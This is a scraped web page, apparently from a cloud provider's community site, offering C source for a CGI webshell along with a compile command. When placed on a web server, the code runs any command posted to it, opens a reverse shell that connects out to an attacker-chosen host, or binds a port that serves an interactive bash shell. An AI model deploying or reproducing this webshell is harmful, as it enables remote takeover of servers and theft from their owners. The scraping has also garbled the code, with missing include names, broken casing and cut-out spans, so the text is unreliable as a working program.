Linux C code implements CGI shell

Source: Internet
Author: User
C Language Implementation CGI Webshell

#include
 
  #include
  
   #include
   
    #include
    
     #include
     
      #include
      
       #include
       
        #include
        
         #include #include
         
          #include
          
            struct Get_data {char key[100]; char value[100];}; void Exec_cmd (void) {printf ("content-type:text/html\n\n"); FILE *command; int size = Atoi (getenv ("content_length")); if (Size > $) {printf ("error> Post Data is very big"); exit (0);} char *buffer = malloc (size+1); Fread (Buffer,1,size,stdin); Command = popen (buffer, "R"); Char caracter; while ((caracter = fgetc (command))) {if (caracter = = EOF) break; printf ("%c", Caracter);} pclose (command); Free (buffer); Exit (0);} int error (char *err) {perror (err); exit (exit_failure);} void Parser_get (void) {printf ("content-type:text/html\n\n"); struct Get_data *s; Char *get = (char *) getenv ("query_string"); int i,number_of_get = 0,size_get = strlen (get); if (GET) > Strlen exit (0); s = (struct Get_data *) malloc (number_of_get*sizeof (struct get_data)); int element = 0; int positiona = 0; int positionb = 0; int id = 0; for (i=0;i
           
             65535) {printf ("Something is wrong ...!!!"), free (type_x); free (host_x); exit (0);} if ((strcmp (type_x, "reverse") ==0) &A mp;& (strcmp (host_x, "") ==0) {printf ("You must specify a target host ..."); Free (type_x); Free (host_x); Exit (0); } if (strcmp (type_x, "reverse") = = 0) {struct sockaddr_in addr; int msocket; msocket = socket (af_inet,sock_stream,0); if (MSO Cket < 0) {printf ("Fail to create socket"), free (host_x), free (type_x); exit (0);} addr.sin_family = Af_inet; Addr.sin_port = htons (port_x); ADDR.SIN_ADDR.S_ADDR = inet_addr (host_x); memset (&addr.sin_zero,0,sizeof (Addr.sin_zero)); if (Connect (msocket, struct sockaddr*) &addr,sizeof (addr)) = =-1) {printf ("Fail to connect\n"), free (host_x); type_x); Exit (0); } printf ("Connect with sucess!!! \ n "); if (fork () = = 0) {close (0); close (1); close (2); dup2 (msocket, 0); Dup2 (Msocket, 1); dup2 (msocket,2); Execl ("/bin/bash", "ba SH ","-I ", (char *) 0); Close (Msocket); Exit (0); } free (host_x); Free (type_x); Exit (0); } else if (strcmp (TyPe_x, "bind") ==0) {int my_socket, cli_socket; struct sockaddr_in server_addr,cli_addr; if (My_socket = socket (af_inet, so Ck_stream, 0)) = =-1) {printf ("Fail to create socket"); exit (1);} server_addr.sin_family = Af_inet; Server_addr.sin_port = htons (port_x); SERVER_ADDR.SIN_ADDR.S_ADDR = Inaddr_any; Bzero (& (Server_addr.sin_zero), 8); int optval = 1; SetSockOpt (My_socket, Sol_socket, so_reuseaddr, &optval, sizeof optval); if (Bind (My_socket, (struct sockaddr *) &server_addr, sizeof (struct sockaddr)) = =-1) {printf ("Fail to bind"); T_X); Free (type_x); Exit (1); } if (Listen (My_socket, 1) < 0) {printf ("Fail to Listen"), free (host_x), free (type_x), exit (1);} else {printf ("Listen On port%d\n ", port_x); if (fork () = = 0) {socklen_t Tamanho = sizeof (struct sockaddr_in); if (Cli_socket = accept (my_socket, struct sockaddr *) &cli_addr,&tamanho)) < 0) {exit (0);} close (0); Close (1); Close (2); Dup2 (cli_socket, 0); Dup2 (Cli_socket, 1); Dup2 (cli_socket,2); EXECL ("/bin/bash", "Bash", "-I", (char *) 0); Close (Cli_socket); }} free (host_x); Free (type_x); Exit (0);} void Load_css_js (void) {printf ("
            \n\\n\ "); } int main (void) {if (strcmp (getenv ("Request_method"), "POST") = = 0) exec_cmd (); if (strcmp (getenv ("query_string"), "" ")! = 0) Parser_get (); printf ("content-type:text/html\n\n"); printf ("\ n "); printf ("\ t\n\t
            
             
            \ n "); printf ("\t\t
            <title>C CGI SHELL =d</title>\ n "); Load_css_js (); printf ("\n\t\ n "); printf ("\ t\ n ");p rintf (" \n\ \n\
            

c-cgi SHELL

Webshell | Reverse/bind
\n\ \n\ \n\
\n\ \n\ \n\ \n\
Reverse Connection:stop
\n\
HOST/IP:
\n\
Port:
\n\ \n\ \n\ \n\
Bind Connection:stop
\n\
Port to Listen:
\n\ \n\ \n\ \n\ \n\\n\\n\ "); return 0;}

Compile:
GCC Shell.c-o shell.cgi

Function:
1. Bounce to get Shell (target as client)

2. Listen for the shell (target as the server)

3. Command line execution

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.